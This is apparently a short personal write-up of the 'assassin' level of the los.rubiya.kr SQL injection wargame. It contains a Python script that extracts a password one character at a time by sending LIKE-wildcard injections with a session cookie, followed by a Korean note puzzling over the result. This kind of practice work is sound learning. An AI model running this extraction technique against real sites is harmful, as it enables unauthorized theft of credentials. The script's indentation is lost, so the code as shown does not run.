los.rubiya.kr assassin

import requests
import urllib3
a=""
cookies = dict(PHPSESSID="6ia85u0t5ssos6a9v4btqc9s25")
for k in range(1,20):
for i in range(ord('0'),ord('z')):
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+str(a)+chr(i)+"%"
res = requests.post(url=url,cookies=cookies)
print(url)
if ("Hello guest") in res.text:
a = a+chr(i)
print(chr(i))
break

실패 값이 90D2FE10이렇게 나옴

902%입력하면 성공 왜지..?